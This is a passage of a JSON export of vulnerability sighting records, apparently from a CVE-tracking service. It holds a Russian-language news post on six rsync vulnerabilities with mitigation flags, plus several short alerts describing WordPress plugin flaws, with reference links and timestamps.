\u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "ab47438d-6e8e-44d9-8e13-4c4ef14e6ecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n\n\u0414\u043b\u044f CVE-2024-12084: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 SHA, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0432 \u0441 \u0444\u043b\u0430\u0433\u0430\u043c\u0438 CFLAGS=-DDISABLE_SHA512_DIGEST \u0438 CFLAGS=-DDISABLE_SHA256_DIGEST.\n\u0414\u043b\u044f CVE-2024-12085: \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 -ftrivial-auto-var-init=zero, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0443\u043b\u044f\u043c\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T15:03:53.000000Z"}, {"uuid": "9a73ade0-6f07-4970-9425-2ce14e202797", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12610", "type": "seen", "source": "Telegram/8T3g4-CudyMPGqqrIVDcENYo9hxbslaZunVwdvyKzWc05ws3", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "a809fb59-3207-4ac0-a58c-df027992be4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12609", "type": "seen", "source": "Telegram/AE5CNColRLsZhKu84F72Bbyu-hjxk-dIugkUGHaxMoSTjBAP", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "919e767d-2557-4ba5-bb68-eef7a616f0e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12607", "type": "seen", "source": "Telegram/GQa-BIa22_0sBTjuyG2QoZa_3EI6ZJ3ZG4VUi6ZRvirF-mXR", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "ca3a632b-d380-468f-96e1-92c45a1825f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12036", "type": "seen", "source": "Telegram/5DH5ilSd4__R4ze5EYOKfUhPPUcJxZRjCY3XeLfM2cIR-nQC", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "558d361a-94b2-4b2a-805a-1ed661028c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12035", "type": "seen", "source": "Telegram/bAo67O6QE5J9Tg-PcXiLII4KDPIAKxCqJXrh7wX9OFrKATyS", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "aca588fd-7c56-4688-ae45-50419df18583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12576", "type": "seen", "source": "Telegram/0NXwCRzYO4isvEybzTbl_zZyJtigt5MTTRb6oLL47oA63_4V", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "f533467e-a8e3-4870-ae89-e3317f2f7681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12313", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/327", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12313\n\ud83d\udd39 Description: The Compare Products for WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.2.1 via deserialization of untrusted input from the 'woo_compare_list' cookie. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n\ud83d\udccf Published: 2025-01-07T04:22:01.100Z\n\ud83d\udccf Modified: 2025-01-07T04:22:01.100Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/638e8e67-38b3-4fc4-bd77-8f268030a93a?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/classes/class-wc-compare-functions.php#L219\n3. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/classes/class-wc-compare-functions.php#L237\n4. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/classes/class-wc-compare-functions.php#L256\n5. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/classes/class-wc-compare-functions.php#L275", "creation_timestamp": "2025-01-07T04:39:26.000000Z"}, {"uuid": "98927b12-3d30-437d-992f-8693bb687c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12383", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/336", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12383\n\ud83d\udd39 Description: The Binary MLM Woocommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0. This is due to missing or incorrect nonce validation on the 'bmw_display_pv_set_page' function and insufficient input sanitization and output escaping of the 'product_points' parameter. This makes it possible for unauthenticated attackers to inject arbitrary web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T05:23:56.899Z\n\ud83d\udccf Modified: 2025-01-07T05:23:56.899Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b061fbf2-4bb3-4ccc-ba90-1e947365435e?source=cve\n2. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/point_setting.php#L7\n3. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/point_setting.php#L92\n4. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/point_setting.php#L96", "creation_timestamp": "2025-01-07T05:38:10.000000Z"}, {"uuid": "09bc3071-8a40-427a-b6e5-ca43f940e889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12633", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/335", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12633\n\ud83d\udd39 Description: The JoomSport \u2013 for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page parameter in all versions up to, and including, 5.6.17 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T05:23:57.261Z\n\ud83d\udccf Modified: 2025-01-07T05:23:57.261Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b4503e2c-0d0d-45de-a597-baace44a98a7?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3209054/joomsport-sports-league-results-management", "creation_timestamp": "2025-01-07T05:38:05.000000Z"}, {"uuid": "f6edb7c0-ea28-4869-bd26-98d9ec256eb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12809", "type": "seen", "source": "Telegram/JCsuPE_zoL4nQ8CYXFvnEaQG8XTVlbwgpLEdODzFPoI4bidQ", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "38be7724-d92d-432d-be9e-bd9a4cbca7d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "published-proof-of-concept", "source": "https://t.me/xatori_sec/1223", "content": "CVE-2024-12754 AnyDesk \n*\nwtf\n*\nLPE poc exploit", "creation_timestamp": "2025-02-13T17:29:46.000000Z"}, {"uuid": "773198ce-9cc2-4cbf-ac97-d94590e3bbb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12514", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/928", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12514\n\ud83d\udd39 Description: The 3DVieweronline plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's '3Dvo-model' shortcode in all versions up to, and including, 2.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-09T11:11:04.826Z\n\ud83d\udccf Modified: 2025-01-09T11:11:04.826Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/ee1c9c62-d5b5-4213-ae5a-d3d4e9103d15?source=cve\n2. https://plugins.trac.wordpress.org/browser/3dvieweronline-wp/trunk/public/class-threedvieweronline-iframe-public.php\n3. https://wordpress.org/plugins/3dvieweronline-wp/", "creation_timestamp": "2025-01-09T12:15:02.000000Z"}, {"uuid": "f529f05b-5af1-4c97-b7f6-6c33d78e8195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/true_secator/7892", "content": "BeyondTrust \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e 